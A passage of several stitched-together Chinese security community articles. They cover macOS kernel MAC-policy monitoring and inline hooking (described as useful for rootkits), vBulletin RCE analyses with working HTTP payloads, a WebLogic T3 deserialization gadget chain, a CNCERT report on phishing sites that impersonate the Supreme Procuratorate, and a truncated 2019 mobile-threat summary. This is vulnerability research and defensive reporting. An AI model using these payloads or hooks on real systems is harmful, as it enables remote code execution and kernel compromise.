在 Mac OS X 10.5 Leopard 的 SDK 中苹果“错误的”为大家引入了一种新的监控机制 —— Mandatory Access
Control Policy Framework。很快苹果公司纠正了这一错误，彻底将这一接口私有化。在文档 QA1574 [3]
中苹果明确的指出第三方不应该使用 MAC 机制，它不属于 KPI 的一部分。
这意味着只有苹果公司才能够调用这套相对灵活而强力的接口，例如：Apple Seatbelt Sandbox [4]、TMSafetyNet (Safety
net for Time Machine) [5]、AMFI (Apple Mobile File Integrity) [6] 等等。
MAC Version 47 的接口细节如下：
<https://github.com/opensource-apple/xnu/blob/10.12/security/mac_policy.h#L6192>
我依稀记得微软公司也曾经有过类似的私货，结果这些 Undocumented API 的使用差点让微软被起诉到分家，罪名是私用 Undocumented
API 涉嫌不公平竞争。
言归正传，因为 XNU 源代码公开，MAC Policy Framework 的使用非常容易上手。但另一个问题也随之而来，如何监控系统或第三方使用 MAC
Framework 的情况？
上述需求的一个隐含问题是：如何保证遍历系统内部数据结构时的安全，即持有（不导出的）锁是个关键。这种小问题也不应该难倒我们，通过阅读 XNU
相关源代码，我们可以很快找到一个解决方案：
在民风彪悍的参数检查之后
<https://github.com/opensource-apple/xnu/blob/10.12/security/mac_base.c#L652>
<https://github.com/opensource-apple/xnu/blob/10.12/security/mac_base.c#L655>
<https://github.com/opensource-apple/xnu/blob/10.12/security/mac_base.c#L658>
<https://github.com/opensource-apple/xnu/blob/10.12/security/mac_base.c#L661>
是获取 `mac_policy_mtx` 锁的代码
<https://github.com/opensource-apple/xnu/blob/10.12/security/mac_base.c#L671>
在释放锁之前
<https://github.com/opensource-apple/xnu/blob/10.12/security/mac_base.c#L780>
系统给了第三方驱动两次回调的机会
<https://github.com/opensource-apple/xnu/blob/10.12/security/mac_base.c#L770>
<https://github.com/opensource-apple/xnu/blob/10.12/security/mac_base.c#L774>
这两次宝贵的机会是持锁的，我们可以用它来安全地 dump 相关内核数据结构。
下图展示了 TMSafetyNet、Apple Mobile File Integrity 以及 Apple Seatbelt Sandbox 对于 MAC
Policy 回调的使用情况：
MAC PolicyMAC Policy
当然，对于研究苹果的沙箱设计与实现，这也会是一个好的起点。
另外，大量的 macOS 安全监控类软件也无视警告的使用了这个接口。例如：objective-see 的 BlockBlock [7] 以及 FireEye
Mandiant 的 Monitor.app [8]。
使用上述方案针对 FireEye Mandiant 的 Monitor.app 做一次分析可以发现，它一共注册了五种回调：
Mandiant Monitor.appMandiant Monitor.app
1.mpo_cred_label_update_execve
2.mpo_file_check_mmap
3.mpo_pty_notify_grant
4.mpo_pty_notify_close
5.mpo_kext_check_load
值得说道的是，这五个回调是五次独立注册的结果。出于优化的考虑也许应该是“一次注册五个回调函数”而不是“五次注册五个回调函数”。回想 Windows XP
时代，大家为了争抢 PsSetCreateProcessNotifyRoutine 那 8 个名额拼的你死我活，现在的内核程序员还真是奢侈呢。
作为该分析的一个攻防副产物，我们可以任意 Unregister 系统或第三方的回调。现在再去看微软 CmRegisterCallback 函数中引入
Cookie 概念 [9] 感觉真的是明智的。
#### Kernel Inline Hook
由于没有类似 Patchguard [10] 的内核防护机制，在 64 位 macOS 内核中实现一个 Inline Hook
引擎并不是什么难事，最多就是需要在 lldb 不给力的情况下见识一下 Panic 的兄弟姐妹。
我们可以给 Inline Hook 引擎加大一些难度，给目标函数实现 Pre 和 Post Callback 回调。Pre Callback
可以用作参数过滤、Post Callback 可以用作结果篡改，这种设计会非常方便。
作为演示，我以 `OSKext::start()` 驱动加载例程作为练手，可以看到：
Inline Hook 引擎
(1) 钩子监控到驱动程序被加载
(2) 结合反汇编引擎找到目标驱动入口
(3) 在 Pre Callback 中实现参数过滤、驱动代码篡改、强制错误返回等
(4) 在 Post Callback 中得到返回值，甚至再次篡改返回结果等
(5) 系统的后知后觉
当然，我们可以对任意一个我们所关心的内核函数做这样的事情，Inline Hook 的使用仅受制于想象力。
#### 小结
1.上述功能点在开发 Rootkit 和 Anti-Rootkit、调试漏洞时都用得着。
2.祝您 lldb 内核调试愉快。
#### 引用
[1] <https://developer.apple.com/library/content/technotes/tn2127/_index.html>
[2] <http://newosxbook.com/>
[3] <https://developer.apple.com/library/content/qa/qa1574/_index.html>
[4]
<https://developer.apple.com/library/content/documentation/Security/Conceptual/AppSandboxDesignGuide/AboutAppSandbox/AboutAppSandbox.html>
[5] <https://support.apple.com/en-us/HT201250>
[6] <https://www.theiphonewiki.com/wiki/AppleMobileFileIntegrity>
[7] <https://www.synack.com/2015/11/17/monitoring-process-creation-via-the-kernel-part-i/>
[8] <https://www.fireeye.com/services/freeware/monitor.html>
[9] <https://msdn.microsoft.com/en-us/library/windows/hardware/ff541918(v=vs.85).aspx>
[10] <https://blogs.msdn.microsoft.com/windowsvistasecurity/2006/08/12/an-introduction-to-kernel-patch-protection/>
* * * | 社区文章 |
# 七夕—vBulletin 5.x RCE 的前世今生
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
8月10日，安全研究人员Amir Etemadieh披露了vBulletin 论坛的严重漏洞，该漏洞绕过了去年vBulletin 论坛
CVE-2019-16759漏洞补丁，能够实现远程命令执行。本文从环境搭建到漏洞调试，详细的分析漏洞产生的过程。
## 0x01 vBulletin简介
vBulletin是美国InternetBrands和vBulletinSolutions公司的一款基于PHP和MySQL的开源Web论坛程序，同时世界上用户非常广泛的PHP论坛，很多大型论坛都选择vBulletin作为自己的社区，因此此次漏洞危害重大。
此次漏洞使用范围vBulletin 5.5.4 ～ 5.6.2 。
## 0x02 调试环境搭建
### 0x1 网站搭建
vBulletin 代码不开源使得环境搭建异常复杂，之前的p8361/vbulletin-cve-2015-7808 docker 环境为vBulletin
v5.1.5版本太老了，数据库中没有widget_tabbedcontainer_tab_panel模板，因此又在其他地方找到了符合漏洞版本的源代码。
具体的搭建细节可以参照
<https://www.secshi.com/19016.html>
### 0x2 xdebug安装
`apt install php-xdebug`
并在apache2/php.ini配置文件中添加如下配置
;/etc/php/7.2/apache2/php.ini
[xdebug]
zend_extension="/usr/lib/php/20190902/xdebug.so"
xdebug.remote_enable=1
xdebug.remote_host = "127.0.0.1"
xdebug.idekey="PHPSTORM"
xdebug.remote_handler=dbgp
xdebug.remote_port=9000
## 0x03 vBulletin路由分析
由于CVE-2019-16759和 CVE-2020-17496 路由处理相同，我们在这主要分析vBulletin quickroute 部分的路由关系
### 0x1 自动加载
vBulletin 使用vB5_Autoloader实现类的自动加载。相关代码如下
利用spl_autoload_register设置自动加载函数为_autoload，并设置好类搜索路径。将`self::$_paths`
中有的类加载到php中。类名和文件名的对应关系如下代码所示：
protected static function _autoload($class)
{
self::$_autoloadInfo[$class] = array(
'loader' => 'frontend',
);
if (preg_match('/[^a-z0-9_]/i', $class))
{return;}
$fname = str_replace('_', '/', strtolower($class)) . '.php';
foreach (self::$_paths AS $path)
{
if (file_exists($path . $fname))
{
include($path . $fname);
self::$_autoloadInfo[$class]['filename'] = $path . $fname;
self::$_autoloadInfo[$class]['loaded'] = true;
break;
}
}
}
### 0x2 quick路由检测
这里是vBulletin QuickRoute检测分支，CVE-2019-16759和 CVE-2020-17496都是在此分支中触发。
QuickRoute检测函数如下：
主要检测了url中是否为下面开头：
ajax/api/options/fetchValues
filedata/fetch
external
ajax/apidetach
ajax/api
ajax/render
### 0x3 路由分发
vB5_Frontend_ApplicationLight中的execute函数负责路由分发
该函数将POST和GET参数整合了之后赋值给了`$serverData` ，在判断`application[handler]`
是否存在后利用`call_user_func` 调用分发，此时的调用函数为`callRender`。
进入`callRender`函数，该函数将路由路径切割成了路由参数。
之后设置route信息，并由vB5_Template的staticRenderAjax函数统一处理。
调用处理函数
### 0x4 路由处理
最后由staticRenderAjax函数进行路由处理，由参数可以看出将render之后的参数取出，与需要渲染的参数一同传入该函数。
## 0x04 漏洞分析
### 0x0 模板渲染功能
**vB5_Template::staticRender**
进入到路由处理函数staticRenderAjax之后，又进入了staticRender函数
在该函数中利用templateName当作参数创建vB5_Template对象
同时将以下参数注册在template模板对象中
注册新的自动加载路径，之后进入render函数
**vB5_Template->render**
在render函数的入口处存在一个变量覆盖，将传入的POST和GET参数可直接生成以key为名，以value为值的php变量。如下图所示：
**模板获取**
再之后就是通过getTemplate 函数以及template 名称获取 template 内容
不在缓存中的模板重新获取
获取模板id号，并调用 Api_InterfaceAbstract
通过一系列调用，到达 template.php:123,
vB_Library_Template->fetchBulk()，并在其中利用sql查询将模板取出。
对应从数据库中的取模板代码
查询语句如下
执行渲染模板
### 0x1 CVE-2019-16759
**payload**
分析过模板渲染，该漏洞就一幕了然了，首先看下payload
POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Connection: close
routestring=ajax/render/widget_php&widgetConfig[code]=system('whoami');
**模板渲染漏洞**
该漏洞产生的原因为 widget_php 对应的模板中存在恶意代码执行漏洞，数据库中存储的templateid号为
主要命令执行点为
`vB5_Template_Runtime::parseAction('bbcode', 'evalCode',
$widgetConfig['code'])`
**命令执行点分析**
vB5_Template_Runtime::parseAction 该函数虽然没有函数参数，但是解析了传递过来的所有参数到$arguments 变量由
vB5_Frontend_Controller_Bbcode类中的evalCode方法执行所有的参数
evalCode方法如下：
### 0x2 CVE-2020-17496
结合前面模板渲染功能分析，可以很快的定位该漏洞。简要来说该漏洞通过二次渲染再次触发了CVE-2019-16759漏洞，具体分析如下。
**payload**
POST /ajax/render/widget_tabbedcontainer_tab_panel?XDEBUG_SESSION_START=phpstorm HTTP/1.1
Host: localhost
User-Agent: curl/7.54.0
Accept: */*
Content-Length: 100
Content-Type: application/x-www-form-urlencoded
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("pwd"); exit;
**第一次渲染**
通过分析该代码得到在eval渲染过模板之后，会调用`$templateCache->replacePlaceholders($final_rendered)`
该函数会实现第二次模板的获取和渲染，然而通过精心构造第二次渲染的内容，可以完美的触发之前的漏洞。
$templateCode = $templateCache->getTemplate($this->template);
if(is_array($templateCode) AND !empty($templateCode['textonly']))
{
$final_rendered = $templateCode['placeholder'];
}
else if($templateCache->isTemplateText())
{
eval($templateCode);
}
else
{
if ($templateCode !== false)
{
include($templateCode);
}
}
if ($config->render_debug)
{
restore_error_handler();
restore_exception_handler();
}
if ($config->no_template_notices)
{
error_reporting($oldReporting);
}
// always replace placeholder for templates, as they are process by levels
$templateCache->replacePlaceholders($final_rendered);
**第二次渲染**
接着第一次渲染看，从当前代码中看出了如果 `$missing`非空，就会再次去调用fetchTemlate函数获取新的模板。
array_diff
这个函数会把第一个数组参数中与其他参数不同的地方记录下来并返回，之后重新去查找并渲染该模板。更有趣的是这个重新加载的模板我们可控，代码如下
下图为pending被注册的代码，其实该代码为第一次渲染出来的代码中的一部分，然后在第二次渲染时用到了第一次渲染时注册的变量。
**触发漏洞**
这之后其实跟CVE-2019-16759一毛一样了
## 0x05 参考文献
相关源码上传到了github <https://github.com/ctlyz123/CVE-2020-17496>
<http://foreversong.cn/archives/1415>
<https://www.seebug.org/vuldb/ssvid-98336>
<https://xz.aliyun.com/t/6419> | 社区文章 |
# WebLogic T3协议反序列化 0day 漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 WebLogic T3 简介及漏洞背景
weblogic t3协议指的是weblogic的rmi使用的t3协议，在java
rmi中，默认rmi使用的是jrmp协议，weblogic包含了高度优化的RMI实现。T3
这个神奇的协议使得weblogic漏洞层出不穷，正因为他必须使用java反序列化，所以在不影响正常功能的情况下，只能不断的添加黑名单。虽然该修补方式对目前已知的利用链能够立竿见影，但是对于其绕过姿势就没有任何防范能力了，本文结合最近的weblogic漏洞学习下t3协议的反序列化漏洞以及利用链的构造。
## 0x02 环境搭建
### 0x1 调试环境
利用Docker自动化搭建，在github下载搭建代码
`[https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)`
本次实验环境采用jdk7u21和weblogic 10.3.6.0，在jdk_use和weblogic_use文件夹下存放相对应版本的程序
执行如下命令：
./WeblogicDockerBuild.sh
docker-compose up -d
脚本会自动开启8453调试端口，配置idea并进行连接
如果忘记登陆密码等，可以直接查看boot.properties文件，如果是加密后的字符串可以用weblogic自带的命令行解密，方法如下
# Generated by Configuration Wizard on Sat Apr 24 14:10:42 GMT 2021
username={AES}6qWaIAhpyw+EcPwy8TaM46YfhPnNkDdyg7hhCDqMvHY=
password={AES}BuECP9fjey3nHUWmuRVAuaTeYaSrXFKnTOA4aV49D90=
. $WLS_HOME/server/bin/setWLSEnv.sh
java weblogic.WLST
wls:/offline> domain="/weblogic/oracle/Domains/ExampleSilentWTDomain"
wls:/offline> service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain)
wls:/offline> encryption = weblogic.security.internal.encryption.ClearOrEncryptedService(service)
wls:/offline> print encryption.decrypt("{AES}DY2vfJ80wx72i8GUhNYFgiPsxr2ImFBrpOmUYcfMFBo=")
### 0x2 补丁安装
将补丁安装在/weblogic/oracle/middleware/utils/bsu/cache_dir 中
后续进入 /weblogic/oracle/middleware/utils/bsu 目录进行补丁安装，在docker中安装weblogic
补丁，需要扩展docker的内存容量，然后修改bsu.sh中的运行内存，不然的话回报各种问题。
cd /weblogic/oracle/middleware/utils/bsu
./bsu.sh -prod_dir=/weblogic/oracle/middleware/wlserver/ -status=applied -verbose -view
./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=MXLE -prod_dir=/weblogic/oracle/middleware/wlserver
查看已安装补丁
## 0x03 漏洞分析
该漏洞为T3协议反序列化 0day
漏洞，根据描述漏洞出现在t3协议反序列化解析时，过滤不严格，导致了黑名单绕过，从而产生了漏洞。根据大佬们的提示，利用MarshalledObject类进行绕过，其原理如下：
我们从get方法中可以得知利用MarshalledObject的objBytes方法进行二次反序列化绕过weblogic的黑名单，因为在weblogic
10.3.6中必须调用FilteringObjectInputStream才能在反序列化时使用黑名单的限制。因此如果调用了MarshalledObject的get方法中的readObject则不会触发黑名单检测机制，可以使用任意反序列化payload。
### 0x1 T3 协议的反序列化
T3协议是weblogic实现RMI规范的专有协议，它具有特定的数据格式，我们今天不分析t3是怎么个协议，主要从t3数据包构造和反序列化部分开始。
**1\. 快速构造t3交互数据包**
t3的头部是固定的交互数据，分为几大部分。 **T3协议头** 、 **JAVA序列化数据**
**（1）关于T3协议头**
经过反复的测试了解到发送
t3 9.2.0\nAS:255\nHL:19\n\n
字符串作为T3的协议头发送给weblogic9、weblogic10g、weblogic11g、weblogic12c均合法，并且weblogic自身也会返回相应的数据。
**（2）关于JAVA序列化数据**
有两种生成方式，其一将Java序列化部分的任意一个替换为恶意序列
第二种生成方式为，将前文所述的weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
可以直接借鉴TY4er师傅在分析CVE-2020-2255的发送代码
<https://raw.githubusercontent.com/Y4er/CVE-2020-2555/master/weblogic_t3.py>
### 2\. 反序列化入口
在InboundMsgAbbrev类中的read方法触发该类的readObject方法，如下图所示
### 0x2 补丁流程分析
抛开t3协议后， 反序列化的开始于下面的readObject的case 0函数
其中 ServerChannelInputStream 是内部类，如下图所示
因为readObject反序列化时首先会调用resolveClass读取反序列化的类名，所以我们需要关注的是resolveClass的处理逻辑。
protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String var2 = descriptor.getName();
try {
this.checkLegacyBlacklistIfNeeded(descriptor.getName());
} catch (InvalidClassException var5) {
throw var5;
}
Class c = super.resolveClass(descriptor);
if (c == null) {
throw new ClassNotFoundException("super.resolveClass returns null.");
} else {
ObjectStreamClass localDesc = ObjectStreamClass.lookup(c);
if (localDesc != null && localDesc.getSerialVersionUID() != descriptor.getSerialVersionUID()) {
throw new ClassNotFoundException("different serialVersionUID. local: " + localDesc.getSerialVersionUID() + " remote: " + descriptor.getSerialVersionUID());
} else {
return c;
}
}
}
上述代码的第5行正是从序列化数据中读取当前要反序列化类的名字，并在WebLogicObjectInputFilter类的isBlacklistedLegacy函数中进行黑名单匹配，一旦检测出包含就会触发异常。
这次使用的MarshalledObject类就不再之前的黑名单限制内，因此在绕过黑名单的同时造成了rce。接下来主要分析此次的主角MarshalledObject利用链的构造分析。
## 0x04 利用链编写
该利用链采用JDK7u21的基础利用框架，在编写payload的时候也踩了一些坑，在这里简单记录一下。因为用到了JDK7u21利用链，但是该链采用了com.sun.org.apache.xalan.internal.xsltc.trax
中的关键命令执行链TemplatesImpl，然而该类被上述的黑名单中被限制所以不能使用。下面利用MarshalledObject类构造他的兄弟链。
### 0x1 MarshalledObject起到了什么作用
在表面上它起到了替代TemplatesImpl的作用，那么到底是怎么个替代原理呢？
这事还要从AnnotationInvocationHandler讲起，在该类的equalsImpl方法里存在着奥秘
该方法会调用被代理对象的每个方法，这个操作就很危险了。我们在回过头来看下Templates接口中的方法
第一个方法就是newTransformer，该方法最终会调用getTransletInstance以及defineTransletClasses方法，最后在运行下面代码的380行时实例化_bytecodes中的类，触发编写好的静态代码块。
下面看MarshalledObject的操作，凑巧的是get方法也是getMemberMethods获取的第一个方法，直接就可以配合objBytes属性进行填充。
### 0x2 如何触发AnnotationInvocationHandler的equalsImpl方法
利用AnnotationInvocationHandler创建jdk动态代理后，如果出现了hashmap哈希碰撞，那么在hashmap中会调用AnnotationInvocationHandler的equal方法，间接的调用equalsImpl方法。
之所以是间接调用是因为在该类中实现了invoke方法，其代码如下
当代理类调用equals方法时会首先调用invoke方法，进而调用了equalsImpl方法。那么下面的问题就是如何让hash产生碰撞。
### 0x3 如何让hash相同
在hashmap中的put方法的475行，存在个key的equals调用。
具体分析可以参考<https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/>，简单归纳为
LinkedHashSet在反序列化填入key值时会触发上述代码，其逻辑是会将hash(key)和之前的key的hash进行比较。说到底就是MarshalledObject的hash和MarshalledObject代理类的hash方法的返回值进行比较。
这里利用了一个小技巧
“f5a5a608”.hashCode()为0为什么这是个小技巧呢？我们都知道MarshalledObject代理类的hashCode会触发代理类的invoke，那么之后会进入AnnotationInvocationHandler的hashCodeImpl函数，该函数逻辑如下
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
this.memberValues 其实就是之前构造函数的第二个参数HashMap，要保证memberValues只有一个，并且127 *
((String)var3.getKey()).hashCode()为0，那么只能是满足条件
map.put("f5a5a608", marshell);
### 0x4 添加到ysoserial
public Object getObject(final String command) throws Exception {
final Object marshell = new MarshalledObject("1");
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Serializable.class, map);
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
Serializable proxy = Gadgets.createProxy(tempHandler, Serializable.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(marshell);
set.add(proxy);
byte[] asBytes = Base64.decode("serialize data");
Reflections.setFieldValue(marshell,"objBytes",asBytes);
map.put(zeroHashCodeStr, marshell); // swap in real object
return set;
}
有时间学习下关于weblogic的反序列化回显以及历史漏洞。
## 参考文献
<https://venusense.com/new_type/aqtg/20210419/22599.html>
<https://mp.weixin.qq.com/s/OxeYufM-ZX_SdbV5zjWV7A>
<https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/> | 社区文章 |
# 关于通过仿冒最高人民检察院网站 实施网络诈骗的情况通报
##### 译文声明
本文是翻译文章，文章原作者 CNCERT，文章来源：国家互联网应急中心CNCERT
原文地址：[https://mp.weixin.qq.com/s?timestamp=1516690417&src=3&ver=1&signature=Txl5oRkVlp0I7pKBL3*kStJBU5*MqeIFPnvmZZOztAWVbiRqAIAs4RW25J*gRj01Pqi-7oVINYhUPwAJvAwqp-wmKIkOnBNvtobrA4-e4Ywxay92wuEHn7uwDbZu0OPAOl7SWYO27Y39KQvDVuGL1indFq9IHLPsbcdt22JAa40=](https://mp.weixin.qq.com/s?timestamp=1516690417&src=3&ver=1&signature=Txl5oRkVlp0I7pKBL3*kStJBU5*MqeIFPnvmZZOztAWVbiRqAIAs4RW25J*gRj01Pqi-7oVINYhUPwAJvAwqp-wmKIkOnBNvtobrA4-e4Ywxay92wuEHn7uwDbZu0OPAOl7SWYO27Y39KQvDVuGL1indFq9IHLPsbcdt22JAa40=)
译文仅供参考，具体内容表达以及含义原文为准。
>
> 国家计算机网络应急技术处理协调中心（以下简称“CNCERT”）近期监测发现互联网上出现大量仿冒最高人民检察院（以下简称“最高检”）网站的钓鱼页面。诈骗分子通过此类钓鱼网站，一方面可以诱骗受害者填写银行卡号、密码等信息诈骗钱财；另一方面可以在受害者计算机上安装木马恶意程序，窃取受害者计算机上的相关信息。CNCERT已监测发现大量用户上当受骗，社会危害巨大。
>
>
> 在2017年12月份，CNCERT共监测发现此类活跃的钓鱼网站达254个；监测发现“登录”此类钓鱼网站的IP达3388个，其中31.22%的IP在“登录”此类钓鱼网站后提交了相关信息，属于实质受影响人群。
现将相关情况通报并分析如下。
## 此类钓鱼网站的诈骗方式
诈骗分子通过在互联网上泄露的用户个人（以下简称“受害人”或“受害者”）隐私信息，拨打受害人电话，通知其涉及某类型案件，需要到“最高检网站”上进行“案件清查”。在受害者在仿冒网站上看到相关假的案件信息后，诈骗分子即通过话术一步步地诱骗受害人输入个人银行卡信息，甚至下载木马软件，对受害人的电脑进行远程控制，盗取受害人电脑上的敏感信息。
此类仿冒网站的页面非常简单，如图1所示，大部分网站需要输入诈骗分子提供的“案件编号”才可登陆后查看网站具体内容。
图1：此类仿冒网站的“案件编号”登录界面
在受害者使用诈骗分子告知的“案件编号”登陆此类网站后，页面显示的是“中华人民共和国最高人民检察院”的相关内容，如图2所示，与真实的最高检网站极为相似，具有极大的欺骗性，受害者一般很难分辨。
图2：登录此类仿冒网站后的“首页”
受害者登陆后，诈骗分子会告知其输入受害人的身份证号来查询自己涉及的“案件”信息，如图3所示，进一步提升仿冒网站的欺骗性。
图3：此类仿冒网站的案件查询页面
该类网站的危害非常大，一方面是通过欺骗受害者填写银行卡号、密码等信息，如图4所示，给受害者造成大额的经济损失；另一方面可以在受害者电脑上安装木马恶意程序，如图5所示，对受害者电脑上的数据信息造成严重的泄漏风险。
图4：此类仿冒网站的银行信息提交页面
图5：此类仿冒网站的木马下载页面
此类仿冒网站可以实施较为精准的诈骗，是因为此类网站后台存有由诈骗分子提前预置的大量潜在受害用户的“案件编号”、姓名、身份证号、“案件名称”等多类信息，如图6所示。
图6：此类仿冒网站后台中预置的“案件信息”
此外，在后台中也存有此类钓鱼网站收集到的受害用户银行卡信息，如图7所示。
图7：此类仿冒网站后台收集的受害人信息
##
## 此类仿冒网站的活跃域名及服务器分析
CNCERT对受害者在此类钓鱼网站上提交敏感信息的高危行为进行抽样监测，在2017年12月，共发现此类活跃的钓鱼网站254个，其中通过IP地址来直接访问的钓鱼网站有252个，通过域名访问的仅有2个，诈骗分子通过此种方式有效规避了被轻易溯源的风险。
同时，CNCERT发现此类钓鱼网站的服务器IP均位于境外，图8为钓鱼网站服务器IP按国家和地区分布情况，其中位于美国的服务器最多，占比高达90.9%。
图8：2017年12月此类仿冒网站的服务器IP地理位置分布
钓鱼网站服务器IP地址呈现地址段聚集特点，疑似为网络诈骗团伙批量购买，用于集中诈骗。经统计，2017年12月份发现的此类活跃钓鱼网站涉及的254个网站服务器IP，共涉及到67个C类段地址，以及27个B类段地址。
表1为涉及的B类地址段情况，可以看到192.186.0.0/16以及104.224.0.0/16等地址段承载的此类型仿冒网站最多。
表1：2017年12月发现的此类仿冒网站的服务器IP的B类地址段情况
2017年12月，CNCERT每日监测发现的此类活跃的钓鱼网站的数量如图9所示，每日监测发现的有潜在受害人进行访问的钓鱼网站数量都在20个以上，有部分日期监测发现的活跃钓鱼网站超过了60个，影响范围较大。
图9：2017年12月每日监测发现的此类活跃的钓鱼网站数量
##
## 受影响用户情况分析
CNCERT抽样监测发现，有大量的用户访问并通过“案件编号”登录了此类钓鱼网站，其中提交了个人银行卡信息的受害人比利很大。
2017年12月，国内通过“案件编号”登录此类钓鱼网站的用户IP地址数量有3388个，地理位置分布情况如图10所示。从图中可以看出，广东省内登陆过此类仿冒网站的IP地址最多，占23.79%，其次是北京市、河北省、江苏省等地的IP地址。
图10：2017年12月“登录”此类钓鱼网站的IP地理位置分布
在3388个通过“案件编号”登陆此类钓鱼网站的用户IP地址中，通过“案件清查”入口提交敏感信息的受害者IP地址数量有1058个，说明了31.22%的用户在登录此类钓鱼网站后会提交相关信息，受害风险较高。
这1058个受害者IP地址地理位置分布情况如图11所示，可以看出分布情况与图10基本一致。
图11：2017年12月在此类钓鱼网站上提交银行卡信息的受害人IP地理分布
CNCERT监测发现，2017年12月，1058个受害者IP提交的信息共有1618条，经过初步分析，共涉及到927条有效身份信息。通过对这些有效身份信息分析发现，受害者年龄段分布情况如图12所示，覆盖了18-84岁的人群，其中20-40岁区间内占到了有效信息的50%以上，为主要的受害用户群体；受害者性别如图13所示，女性占比高达90%，说明女性更易受骗，值得高度关注。
图12：2017年12月在此类钓鱼网站上提交银行卡信息的受害人年龄段分布
图13：2017年12月在此类钓鱼网站上提交银行卡信息的受害人性别分布
## 防范建议
此类仿冒最高检的网站已经猖獗多年，但近期依旧有大量用户上当受骗，经济受到损失。CNCERT建议广大网民在接收到此类电话、短信后注意以下几点，防范受骗：
第一：最高检的网站为http://www.spp.gov.cn/，不要轻易打开任何电话、短信，以及社交软件中的所谓的最高检网站，尤其是以IP地址直接访问的网站。
第二：最高检网站上不会有案件清查的相关内容，不会要求用户输入银行卡信息，也不会要求用户下载相关“安全软件”。
CNCERT
将持续对此类仿冒网站进行监测等相关工作，并将继续跟踪后续情况。如需技术支援，请联系CNCERT，电子邮箱[email protected]，联系电话010-82990999。
致谢：感谢阿里安全对本报告的贡献！ | 社区文章 |
# 2019年移动安全总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 序言
随着2019年的逝去，二十一世纪第二个十年也已随之结束。回顾过去的十年，我们的生活随着科技的进步发生了翻天覆地的变化，这其中，手机就是其中一个最直观的表现。
过去的十年，我们的手机在不断的更新换代。从“品牌”来看，我们的手机从摩托罗拉、诺基亚、西门子、黑莓等，变成了华为、苹果、小米、OPPO、vivo、三星等。从手机“操作系统”来看，我们早已告别了塞班、黑莓，如今已经进入了Android、iOS与Windows
Phone，从市场占比上看，如今俨然已是Android跟iOS的双足鼎立。然而伴随着手机的发展，手机病毒也由开始的“短信轰炸”发展到现在的多种多样，甚至已经变为了诈骗犯罪、窃取情报、政治攻击的武器。
诚然，我们的科学技术是在不断进步的，但阳光照射下总会有阴暗的地方。每个时间段我们总要去面对新的问题，每个时间段我们总要去面对新的移动安全问题。回顾2019年，移动安全发生了太多的事，数据泄露、病毒木马、安全漏洞、APT攻击等。无论是关系到我们大众的个人隐私信息，还是关系到国家的安全建设，都让我们认识到了移动安全的重要性。
本报告为奇安信移动安全团队，基于2019年国内外发生的移动安全事件、各个安全厂商披露的移动安全威胁活动以及我们内部产生的威胁情报数据，对2019年移动安全事件的总结。
## 主要观点
* 暴利黑产决定病毒木马
移动端黑产，总是伴随着移动端技术而发展，目前移动端黑产种类繁多且产业链完善。暴利的驱使，使得黑产从业人员不断的开发出新的获利方式，目前移动黑产种类有：暗扣话费、广告流量变现、手机应用分发、木马刷量、
勒索软件、控制肉鸡挖矿等。这样我们就可以找到目前市面上的移动病毒产生根源，银行木马、色情软件、拦截马、流氓软件等都是黑产团伙为了获利而生产的工具。2019年黑产活动依然猖獗，在即将踏入物联网的时代，移动安全会面临更加严峻的挑战。
* 政治目的决定APT攻击
2019年奇安信威胁情报中心、奇安信移动安全团队捕获并披露多起移动APT攻击，其中在中东等有武装冲突，政治矛盾比较复杂的地区APT攻击比较多。我国也一直被一些APT组织攻击，且被攻击的目标广泛，涵盖部门众多。2019年各国面临的APT攻击依然频繁，在国际形势敏感的当下，掌握先机就代表着掌握了主动权，未来的APT战场上，移动APT值得我们重视。
* 移动社区安全需要加强
相比于iOS，Android的社区安全依然不容乐观。Google
Play作为全球最大的Android软件平台，根据我们2019年的研究报告及公开资料，Google
Play已经成为了重灾区。国内情况也大同小异，好在目前工信部已经对各个平台、众多软件做出了整改的要求。当然维护Android社区的健康发展，还需要我们共同的努力。
* 个人安全意识需要提高
广大用户，应该提高自己的安全意识。移动端APP已经覆盖了我们的工作、生活，未来我们会更加的依赖，作为用户我们需要对APP有一定的甄别能力。2019年依然有大量的用户因一些钓鱼木马、色情软件等上当受骗，希望在未来更加广泛的移动产品里，用户可以提高安全意识。
## 第一章 2019年各地移动安全事件总结
奇安信移动安全团队基于内部数据及相关公开资料，对2019年全球影响较大的移动安全事件进行了汇总，以便更好的展现2019年移动安全对全球的影响。
Google Play为全球最大的移动应用平台，也是国外大多用户下载应用的首选平台。虽然Google
Play一直致力于打击恶意APP，但根据我们对2019年的数据总结，Google
Play也是恶意APP传播的主要途径。恶意软件团伙及个人，在利益的驱使下，通过各种方法混进Google
Play进行传播恶意软件，对用户造成了巨大的经济损失。
下面我们通过图文的形式，展示2019年影响较大的国际移动安全事件。
2019年移动恶意软件影响范围：
我们将2019年影响较大的移动安全事件，根据影响区域分为了两类，“无差别地区攻击”与“针对特定地区攻击”。
### 无差别地区攻击的恶意事件
恶意软件想大规模的传播，Google Play平台无疑是最好的选择，但能否绕过Google Play的安全检测，并成功在Google
Play上架并不容易。所以通过对2019年的Google
